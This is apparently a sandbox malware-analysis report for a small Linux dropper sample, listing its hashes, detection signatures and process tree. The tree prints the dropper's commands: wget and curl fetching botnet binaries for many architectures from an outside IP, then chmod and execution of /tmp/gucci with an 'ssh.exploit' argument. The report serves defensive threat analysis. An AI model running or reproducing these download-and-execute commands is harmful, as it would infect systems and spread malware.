Analysis
-
max time kernel
2s -
max time network
128s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240729-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
28-07-2024 17:02
Static task
static1
Behavioral task
behavioral1
Sample
18d2223535e45636ae395a0ff6f871b2_JaffaCakes118
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
18d2223535e45636ae395a0ff6f871b2_JaffaCakes118
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
18d2223535e45636ae395a0ff6f871b2_JaffaCakes118
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral4
Sample
18d2223535e45636ae395a0ff6f871b2_JaffaCakes118
Resource
debian9-mipsel-20240729-en
General
-
Target
18d2223535e45636ae395a0ff6f871b2_JaffaCakes118
-
Size
1KB
-
MD5
18d2223535e45636ae395a0ff6f871b2
-
SHA1
1332ef19c7f95476565618fd4657f70b8127fe49
-
SHA256
99bd7484ae2c892b3c45d7a60ab1a13495a7ef6a94c2a59240f32ee2faf938ac
-
SHA512
2e00d77e6a3094ae2ae63968dd303cd3b9cedc34ab8bb1c5fefe1e411efc4569502ed8f15fa7ff40f60a207db5d6203a4110be97894fc905619134ea35b55a48
Malware Config
Signatures
-
Executes dropped EXE 11 IoCs
Processes:
gucciguccigucciguccigucciguccigucciguccigucciguccigucciioc pid process /tmp/gucci 1513 gucci /tmp/gucci 1519 gucci /tmp/gucci 1525 gucci /tmp/gucci 1531 gucci /tmp/gucci 1537 gucci /tmp/gucci 1543 gucci /tmp/gucci 1549 gucci /tmp/gucci 1555 gucci /tmp/gucci 1561 gucci /tmp/gucci 1567 gucci /tmp/gucci 1573 gucci -
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes:
18d2223535e45636ae395a0ff6f871b2_JaffaCakes118description ioc process File opened for modification /tmp/gucci 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118
Processes
-
/tmp/18d2223535e45636ae395a0ff6f871b2_JaffaCakes118/tmp/18d2223535e45636ae395a0ff6f871b2_JaffaCakes1181⤵
- Writes file to tmp directory
PID:1497 -
/usr/bin/wgetwget http://192.3.122.100/bins/arm2⤵PID:1500
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/arm2⤵PID:1506
-
/bin/catcat arm2⤵PID:1511
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 config-err-Z2iRmj gucci netplan_rmicsxkz snap-private-tmp ssh-fM0WPAM8rKdw systemd-private-20cc4649210b49a4bb7be6d1097bb61c-bolt.service-R4fkcx systemd-private-20cc4649210b49a4bb7be6d1097bb61c-colord.service-VTiSeD systemd-private-20cc4649210b49a4bb7be6d1097bb61c-ModemManager.service-bxgrMV systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-resolved.service-5lDpv9 systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-timedated.service-z09Pm62⤵PID:1512
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:1513 -
/usr/bin/wgetwget http://192.3.122.100/bins/arm52⤵PID:1515
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/arm52⤵PID:1516
-
/bin/catcat arm52⤵PID:1517
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 config-err-Z2iRmj gucci netplan_rmicsxkz snap-private-tmp ssh-fM0WPAM8rKdw systemd-private-20cc4649210b49a4bb7be6d1097bb61c-bolt.service-R4fkcx systemd-private-20cc4649210b49a4bb7be6d1097bb61c-colord.service-VTiSeD systemd-private-20cc4649210b49a4bb7be6d1097bb61c-ModemManager.service-bxgrMV systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-resolved.service-5lDpv9 systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-timedated.service-z09Pm62⤵PID:1518
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:1519 -
/usr/bin/wgetwget http://192.3.122.100/bins/arm62⤵PID:1521
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/arm62⤵PID:1522
-
/bin/catcat arm62⤵PID:1523
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 config-err-Z2iRmj gucci netplan_rmicsxkz snap-private-tmp ssh-fM0WPAM8rKdw systemd-private-20cc4649210b49a4bb7be6d1097bb61c-bolt.service-R4fkcx systemd-private-20cc4649210b49a4bb7be6d1097bb61c-colord.service-VTiSeD systemd-private-20cc4649210b49a4bb7be6d1097bb61c-ModemManager.service-bxgrMV systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-resolved.service-5lDpv9 systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-timedated.service-z09Pm62⤵PID:1524
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:1525 -
/usr/bin/wgetwget http://192.3.122.100/bins/arm72⤵PID:1527
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/arm72⤵PID:1528
-
/bin/catcat arm72⤵PID:1529
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 config-err-Z2iRmj gucci netplan_rmicsxkz snap-private-tmp ssh-fM0WPAM8rKdw systemd-private-20cc4649210b49a4bb7be6d1097bb61c-bolt.service-R4fkcx systemd-private-20cc4649210b49a4bb7be6d1097bb61c-colord.service-VTiSeD systemd-private-20cc4649210b49a4bb7be6d1097bb61c-ModemManager.service-bxgrMV systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-resolved.service-5lDpv9 systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-timedated.service-z09Pm62⤵PID:1530
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:1531 -
/usr/bin/wgetwget http://192.3.122.100/bins/m68k2⤵PID:1533
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/m68k2⤵PID:1534
-
/bin/catcat m68k2⤵PID:1535
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 config-err-Z2iRmj gucci netplan_rmicsxkz snap-private-tmp ssh-fM0WPAM8rKdw systemd-private-20cc4649210b49a4bb7be6d1097bb61c-bolt.service-R4fkcx systemd-private-20cc4649210b49a4bb7be6d1097bb61c-colord.service-VTiSeD systemd-private-20cc4649210b49a4bb7be6d1097bb61c-ModemManager.service-bxgrMV systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-resolved.service-5lDpv9 systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-timedated.service-z09Pm62⤵PID:1536
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:1537 -
/usr/bin/wgetwget http://192.3.122.100/bins/mips2⤵PID:1539
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/mips2⤵PID:1540
-
/bin/catcat mips2⤵PID:1541
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 config-err-Z2iRmj gucci netplan_rmicsxkz snap-private-tmp ssh-fM0WPAM8rKdw systemd-private-20cc4649210b49a4bb7be6d1097bb61c-bolt.service-R4fkcx systemd-private-20cc4649210b49a4bb7be6d1097bb61c-colord.service-VTiSeD systemd-private-20cc4649210b49a4bb7be6d1097bb61c-ModemManager.service-bxgrMV systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-resolved.service-5lDpv9 systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-timedated.service-z09Pm62⤵PID:1542
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:1543 -
/usr/bin/wgetwget http://192.3.122.100/bins/mpsl2⤵PID:1545
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/mpsl2⤵PID:1546
-
/bin/catcat mpsl2⤵PID:1547
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 config-err-Z2iRmj gucci netplan_rmicsxkz snap-private-tmp ssh-fM0WPAM8rKdw systemd-private-20cc4649210b49a4bb7be6d1097bb61c-bolt.service-R4fkcx systemd-private-20cc4649210b49a4bb7be6d1097bb61c-colord.service-VTiSeD systemd-private-20cc4649210b49a4bb7be6d1097bb61c-ModemManager.service-bxgrMV systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-resolved.service-5lDpv9 systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-timedated.service-z09Pm62⤵PID:1548
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:1549 -
/usr/bin/wgetwget http://192.3.122.100/bins/ppc2⤵PID:1551
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/ppc2⤵PID:1552
-
/bin/catcat ppc2⤵PID:1553
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 config-err-Z2iRmj gucci netplan_rmicsxkz snap-private-tmp ssh-fM0WPAM8rKdw systemd-private-20cc4649210b49a4bb7be6d1097bb61c-bolt.service-R4fkcx systemd-private-20cc4649210b49a4bb7be6d1097bb61c-colord.service-VTiSeD systemd-private-20cc4649210b49a4bb7be6d1097bb61c-ModemManager.service-bxgrMV systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-resolved.service-5lDpv9 systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-timedated.service-z09Pm62⤵PID:1554
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:1555 -
/usr/bin/wgetwget http://192.3.122.100/bins/sh42⤵PID:1557
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/sh42⤵PID:1558
-
/bin/catcat sh42⤵PID:1559
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 config-err-Z2iRmj gucci netplan_rmicsxkz snap-private-tmp ssh-fM0WPAM8rKdw systemd-private-20cc4649210b49a4bb7be6d1097bb61c-bolt.service-R4fkcx systemd-private-20cc4649210b49a4bb7be6d1097bb61c-colord.service-VTiSeD systemd-private-20cc4649210b49a4bb7be6d1097bb61c-ModemManager.service-bxgrMV systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-resolved.service-5lDpv9 systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-timedated.service-z09Pm62⤵PID:1560
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:1561 -
/usr/bin/wgetwget http://192.3.122.100/bins/spc2⤵PID:1563
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/spc2⤵PID:1564
-
/bin/catcat spc2⤵PID:1565
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 config-err-Z2iRmj gucci netplan_rmicsxkz snap-private-tmp ssh-fM0WPAM8rKdw systemd-private-20cc4649210b49a4bb7be6d1097bb61c-bolt.service-R4fkcx systemd-private-20cc4649210b49a4bb7be6d1097bb61c-colord.service-VTiSeD systemd-private-20cc4649210b49a4bb7be6d1097bb61c-ModemManager.service-bxgrMV systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-resolved.service-5lDpv9 systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-timedated.service-z09Pm62⤵PID:1566
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:1567 -
/usr/bin/wgetwget http://192.3.122.100/bins/x862⤵PID:1569
-
/usr/bin/curlcurl -O http://192.3.122.100/bins/x862⤵PID:1570
-
/bin/catcat x862⤵PID:1571
-
/bin/chmodchmod +x 18d2223535e45636ae395a0ff6f871b2_JaffaCakes118 config-err-Z2iRmj gucci netplan_rmicsxkz snap-private-tmp ssh-fM0WPAM8rKdw systemd-private-20cc4649210b49a4bb7be6d1097bb61c-bolt.service-R4fkcx systemd-private-20cc4649210b49a4bb7be6d1097bb61c-colord.service-VTiSeD systemd-private-20cc4649210b49a4bb7be6d1097bb61c-ModemManager.service-bxgrMV systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-resolved.service-5lDpv9 systemd-private-20cc4649210b49a4bb7be6d1097bb61c-systemd-timedated.service-z09Pm62⤵PID:1572
-
/tmp/gucci./gucci ssh.exploit2⤵
- Executes dropped EXE
PID:1573